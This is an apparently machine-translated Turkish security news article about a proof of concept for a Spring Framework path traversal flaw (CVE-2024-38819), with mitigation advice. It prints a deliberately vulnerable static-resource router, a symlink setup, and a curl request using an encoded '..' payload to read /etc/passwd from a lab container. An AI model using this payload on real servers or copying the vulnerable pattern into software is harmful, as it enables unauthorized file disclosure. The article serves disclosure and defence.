Spring Framework’te Yol Geçişi Güvenlik Açığı (CVE-2024-38819) PoC Açıklarından Yararlanma Yayımlandı


Spring Yolu Geçişi Güvenlik AçığıSpring Yolu Geçişi Güvenlik Açığı

Spring Framework’te CVE-2024-38819 olarak tanımlanan kritik yol geçişi güvenlik açığına yönelik bir Kavram Kanıtı (PoC) istismarı yayımlandı ve işlevsel web çerçeveleri aracılığıyla statik kaynaklara hizmet veren uygulamaları etkileyen ciddi bir güvenlik sorununa ışık tuttu.

Bu güvenlik açığı, saldırganların dikkatle hazırlanmış HTTP istekleri aracılığıyla sunucudaki yetkisiz dosyalara erişmesine olanak tanır.

CVE-2024-38819 güvenlik açığı Spring Framework’ü kullanan uygulamaları etkiliyor WebMvc.fn veya WebFlux.fn Statik kaynaklara hizmet etmek için.

Özellikle sorun, dosya yollarının hatalı işlenmesinden kaynaklanmaktadır; bu da saldırganların, aşağıdakiler gibi hassas sistem dosyaları da dahil olmak üzere, yetkisiz dosyalara erişmek için dizin geçişi gerçekleştirmesine olanak tanır: /etc/passwd.

API güvenlik açığı ve Sızma Testi için En İyi Uygulamalar Konulu Ücretsiz Web Semineri: Ücretsiz Kayıt

Kavram Kanıtı (PoC) Ayrıntıları

Yayımlanan PoC, bir saldırganın güvenlik açığından yararlanarak güvenlik açığı bulunan bir sunucudaki hassas dosya içeriğini nasıl çıkarabileceğini gösteriyor. İstismarın çoğaltılması için sağlanan adımlar aşağıda verilmiştir.

PoC’yi Yürütme Adımları

Savunmasız Ortamı Kurun

Spring Framework 6.1.13’e (etkilenen sürümlerden biri) bağlı olan Spring Boot 3.3.4’ü kullanın.

Aşağıdaki komutu kullanarak güvenlik açığı bulunan kurulumu içeren bir Docker görüntüsü oluşturun:
bash cd vuln docker build -t cve-2024-38819-poc .

Savunmasız Konteyneri Çalıştırın

Kabı başlatın ve bağlantı noktasını gösterin 8080 ana makineye:
bash docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc

Exploit’i yürütün

Aşağıdakileri çalıştırın curl Güvenlik açığından yararlanan kötü amaçlı bir HTTP isteği gönderme komutu:

bash curl http://localhost:8080/static/link/%2e%2e/etc/passwd

Güvenlik açığı mevcutsa, içeriğin /etc/passwd Başarılı bir saldırıyı belirten dosya görüntülenecektir.

Teknik Açıklama

Güvenlik açığı, güvenlik açığı bulunan uygulamada aşağıdaki kurulumdan kaynaklanmaktadır:

Statik Kaynak Yönlendirme

Statik kaynaklar kullanılarak sunulur RouterFunctions Ve FileSystemResource uygulamada.

Örnek kod:

java public RouterFunction staticResourceRouter() { return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/")); }

Sembolik Bağlantı Kullanımı

Statik bir dizine referans vermek için Dockerfile’da sembolik bir bağlantı oluşturulur:
bash RUN ln -s /static /app/static/link

Dizin Geçişi için Yük

Bir saldırgan, aşağıdaki gibi yüzde kodlu yolları kullanarak sembolik bağlantıdan yararlanabilir ve dizinleri geçebilir:
/static/link/%2e%2e/etc/passwd%2e%2e URL kodlu temsilidir .. (ana dizin), dizin geçişini etkinleştirir.

Azaltma ve Öneriler

Bu güvenlik açığını azaltmak için:

  1. Yamalı Sürümlere Yükseltme :Spring Framework kullanıcıları, güvenlik açığı düzeltildikten sonra etkilenmeyen sürümlere yükseltme yapmalıdır.
  2. Dosya Erişimini Kısıtla: Statik kaynaklar için sembolik bağlantılardan kaçının ve dosya yollarının sıkı şekilde doğrulanmasını uygulayın.
  3. Monitör ve Patch Sistemleri: Kötüye kullanım riskini azaltmak için savunmasız sistemleri düzenli olarak tarayın ve yama yapın.

Sorumluluk reddi beyanı

Bu PoC yayınlandı eğitim amaçlı ve güvenlik açığı konusunda farkındalık yaratmak. Bu PoC’yi herhangi bir ortamda test etmeden veya kullanmadan önce, uygun yetkiye sahip olduğunuzdan ve ortamın güvenliğinin sağlandığından emin olun. Bu Yetki Belgesinin yanlış kullanılması yasal ve etik sonuçlara yol açabilir.

Bu güvenlik açığı Spring Framework’te tanımlanan benzer sorunların devamı gibi görünüyor: CVE-2024-38816ancak farklı bir saldırı vektörü içerir. Kritik uygulamalar için Spring Framework’e güvenen kuruluşların, uygulamalarını derhal değerlendirmeleri ve güvence altına almaları istenmektedir.

ANY.RUN ile Gerçek Dünyadaki Kötü Amaçlı Bağlantıları, Kötü Amaçlı Yazılımları ve Kimlik Avı Saldırılarını Araştırın – Ücretsiz Deneyin



Source link